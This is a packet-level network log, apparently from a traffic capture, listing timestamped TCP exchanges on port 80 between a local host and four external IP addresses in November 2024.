Nov 20, 2024 16:54:25.720470905 CET	49829	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:25.746002913 CET	80	49829	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:25.746026039 CET	80	49829	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:25.746134043 CET	80	49829	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:25.746192932 CET	49829	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:25.746222973 CET	49829	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:25.746330976 CET	80	49829	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:25.746354103 CET	80	49829	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:25.746366978 CET	80	49829	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:25.746380091 CET	80	49829	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:25.746395111 CET	80	49829	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:25.746403933 CET	49829	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:25.746433973 CET	49829	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:25.746445894 CET	49829	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:25.746462107 CET	80	49829	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:25.746624947 CET	80	49829	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:25.746673107 CET	49829	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:25.747298002 CET	49829	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:26.740111113 CET	49838	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:26.859957933 CET	80	49838	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:26.860219955 CET	49838	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:26.878608942 CET	49838	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:27.001358032 CET	80	49838	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:28.392311096 CET	49838	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:28.418620110 CET	80	49838	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:28.418703079 CET	49838	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:28.418751001 CET	80	49838	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:28.418788910 CET	80	49838	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:28.418824911 CET	80	49838	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:28.418826103 CET	49838	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:28.418859959 CET	80	49838	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:28.418875933 CET	49838	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:28.418875933 CET	49838	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:28.418915033 CET	80	49838	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:28.418951035 CET	80	49838	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:28.418957949 CET	49838	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:28.418986082 CET	49838	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:28.418987036 CET	80	49838	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:28.418992996 CET	49838	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:28.419023991 CET	80	49838	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:28.419063091 CET	80	49838	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:28.419068098 CET	49838	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:28.419068098 CET	49838	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:28.419126034 CET	49838	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:29.411967039 CET	49844	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:29.532162905 CET	80	49844	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:29.532558918 CET	49844	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:29.556777954 CET	49844	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:29.679959059 CET	80	49844	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:29.683877945 CET	80	49844	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:31.064196110 CET	49844	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:31.132139921 CET	80	49844	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:31.132210970 CET	80	49844	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:31.132247925 CET	80	49844	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:31.132308006 CET	80	49844	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:31.132327080 CET	49844	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:31.132348061 CET	80	49844	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:31.132380962 CET	49844	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:31.132385015 CET	80	49844	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:31.132421017 CET	80	49844	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:31.132431030 CET	49844	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:31.132456064 CET	80	49844	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:31.132464886 CET	49844	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:31.132487059 CET	49844	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:31.132491112 CET	80	49844	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:31.132509947 CET	49844	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:31.132525921 CET	80	49844	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:31.132549047 CET	49844	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:31.132579088 CET	49844	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:31.225198984 CET	80	49844	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:31.225285053 CET	49844	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:32.083585978 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:32.204698086 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:32.204905987 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:32.214546919 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:32.335789919 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:33.843769073 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:33.843786001 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:33.843801022 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:33.843872070 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:33.843885899 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:33.843902111 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:33.843915939 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:33.844024897 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:33.844039917 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:33.844053030 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:33.844203949 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:33.844393969 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:33.965728998 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:33.965986967 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:33.966317892 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:33.970087051 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.017234087 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.072880983 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.073101044 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.073431969 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.077224016 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.077377081 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.077491999 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.085639000 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.085836887 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.086106062 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.094527960 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.094861984 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.095002890 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.102636099 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.102750063 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.102895021 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.111177921 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.111263037 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.111394882 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.119820118 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.121443987 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.124196053 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.130259037 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.130551100 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.130738020 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.138884068 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.139018059 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.139187098 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.145011902 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.145235062 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.145401955 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.153462887 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.153954983 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.156244040 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.193778992 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.193857908 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.194072962 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.305548906 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.305826902 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.305953026 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.308567047 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.308721066 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.308888912 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.314466953 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.314634085 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.314733028 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.320532084 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.320547104 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.320658922 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.326719999 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.327007055 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.327100039 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.333298922 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.333331108 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.333441019 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.335988998 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.336014032 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:34.336097002 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.339068890 CET	49851	80	192.168.2.11	43.163.1.110
Nov 20, 2024 16:54:34.458594084 CET	80	49851	43.163.1.110	192.168.2.11
Nov 20, 2024 16:54:39.901946068 CET	49868	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:40.021485090 CET	80	49868	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:40.021787882 CET	49868	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:40.038867950 CET	49868	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:40.159199953 CET	80	49868	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:41.382460117 CET	80	49868	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:41.382479906 CET	80	49868	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:41.382648945 CET	49868	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:41.382786989 CET	80	49868	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:41.382879972 CET	49868	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:41.548768044 CET	49868	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:42.567847013 CET	49875	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:42.690943003 CET	80	49875	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:42.691179991 CET	49875	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:42.710643053 CET	49875	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:42.830398083 CET	80	49875	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:44.010560989 CET	80	49875	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:44.010575056 CET	80	49875	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:44.010704994 CET	80	49875	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:44.010751009 CET	49875	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:44.010751009 CET	49875	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:44.220518112 CET	49875	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:45.239512920 CET	49883	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:45.360771894 CET	80	49883	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:45.360877037 CET	49883	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:45.376678944 CET	49883	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:45.499049902 CET	80	49883	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:45.499080896 CET	80	49883	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:46.808352947 CET	80	49883	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:46.808371067 CET	80	49883	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:46.808496952 CET	49883	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:46.808763027 CET	80	49883	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:46.808913946 CET	49883	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:46.892921925 CET	49883	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:47.918828011 CET	49889	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:48.039876938 CET	80	49889	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:48.040024042 CET	49889	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:48.059866905 CET	49889	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:48.184187889 CET	80	49889	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:49.320790052 CET	80	49889	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:49.320808887 CET	80	49889	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:49.320822001 CET	80	49889	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:49.321171045 CET	49889	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:49.324481964 CET	49889	80	192.168.2.11	47.254.140.255
Nov 20, 2024 16:54:49.450423002 CET	80	49889	47.254.140.255	192.168.2.11
Nov 20, 2024 16:54:54.976304054 CET	49905	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:54:55.098500013 CET	80	49905	208.91.197.27	192.168.2.11
Nov 20, 2024 16:54:55.098694086 CET	49905	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:54:55.114777088 CET	49905	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:54:55.234339952 CET	80	49905	208.91.197.27	192.168.2.11
Nov 20, 2024 16:54:56.333169937 CET	80	49905	208.91.197.27	192.168.2.11
Nov 20, 2024 16:54:56.333264112 CET	49905	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:54:56.627336025 CET	49905	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:54:56.747123957 CET	80	49905	208.91.197.27	192.168.2.11
Nov 20, 2024 16:54:57.645924091 CET	49912	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:54:57.765851974 CET	80	49912	208.91.197.27	192.168.2.11
Nov 20, 2024 16:54:57.765981913 CET	49912	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:54:57.781326056 CET	49912	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:54:57.901062965 CET	80	49912	208.91.197.27	192.168.2.11
Nov 20, 2024 16:54:58.972336054 CET	80	49912	208.91.197.27	192.168.2.11
Nov 20, 2024 16:54:58.972414970 CET	49912	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:54:59.282883883 CET	49912	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:54:59.402698994 CET	80	49912	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:00.302006960 CET	49919	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:00.424525023 CET	80	49919	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:00.424635887 CET	49919	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:00.441749096 CET	49919	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:00.561355114 CET	80	49919	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:00.561395884 CET	80	49919	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:01.585025072 CET	80	49919	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:01.585155964 CET	49919	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:01.954690933 CET	49919	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:02.074172974 CET	80	49919	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:02.974020004 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:03.096756935 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:03.097006083 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:03.115202904 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:03.235470057 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:06.930114031 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:06.930134058 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:06.930278063 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:06.930289030 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:06.930301905 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:06.930315018 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:06.930347919 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:06.930357933 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:06.930371046 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:06.930382967 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:06.930393934 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:06.930406094 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:06.930433989 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:06.930448055 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:06.930491924 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.050081015 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.050121069 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.050271034 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.054419041 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.095271111 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.122948885 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.123064041 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.123187065 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.127149105 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.127279997 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.127374887 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.135541916 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.138649940 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.138665915 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.138710022 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.146261930 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.146337986 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.146447897 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.155272007 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.155345917 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.155401945 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.164017916 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.164073944 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.164186954 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.172427893 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.172446012 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.172486067 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.181397915 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.181469917 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.181534052 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.189327002 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.189342976 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.189526081 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.197565079 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.197632074 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.197709084 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.215600014 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.215734005 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.314246893 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.314390898 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.314502001 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.316698074 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.316780090 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.316834927 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.321995020 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.322036028 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.322129011 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.327040911 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:07.327142954 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.331109047 CET	49925	80	192.168.2.11	208.91.197.27
Nov 20, 2024 16:55:07.455256939 CET	80	49925	208.91.197.27	192.168.2.11
Nov 20, 2024 16:55:12.816284895 CET	49948	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:12.937536955 CET	80	49948	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:12.937755108 CET	49948	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:12.960253000 CET	49948	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:13.082515955 CET	80	49948	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:14.343144894 CET	80	49948	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:14.343223095 CET	80	49948	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:14.343369007 CET	80	49948	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:14.343539000 CET	80	49948	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:14.345721006 CET	49948	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:14.471843004 CET	49948	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:15.489608049 CET	49954	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:15.610754013 CET	80	49954	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:15.610841036 CET	49954	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:15.628317118 CET	49954	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:15.747931004 CET	80	49954	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:16.826105118 CET	80	49954	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:16.826212883 CET	80	49954	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:16.826376915 CET	49954	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:16.827446938 CET	80	49954	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:16.827586889 CET	49954	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:17.142255068 CET	49954	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:18.162247896 CET	49962	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:18.282856941 CET	80	49962	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:18.286349058 CET	49962	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:18.301808119 CET	49962	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:18.421542883 CET	80	49962	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:18.421560049 CET	80	49962	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:19.682022095 CET	80	49962	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:19.682040930 CET	80	49962	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:19.682106972 CET	49962	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:19.682591915 CET	80	49962	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:19.682729959 CET	49962	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:19.814117908 CET	49962	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:20.834223986 CET	49968	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:20.959979057 CET	80	49968	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:20.960092068 CET	49968	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:20.971776962 CET	49968	80	192.168.2.11	172.67.220.36
Nov 20, 2024 16:55:21.091231108 CET	80	49968	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:22.299103975 CET	80	49968	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:22.299236059 CET	80	49968	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:22.299252987 CET	80	49968	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:22.299267054 CET	80	49968	172.67.220.36	192.168.2.11
Nov 20, 2024 16:55:22.299279928 CET	80	49968	172.67.220.36	192.168.2.11
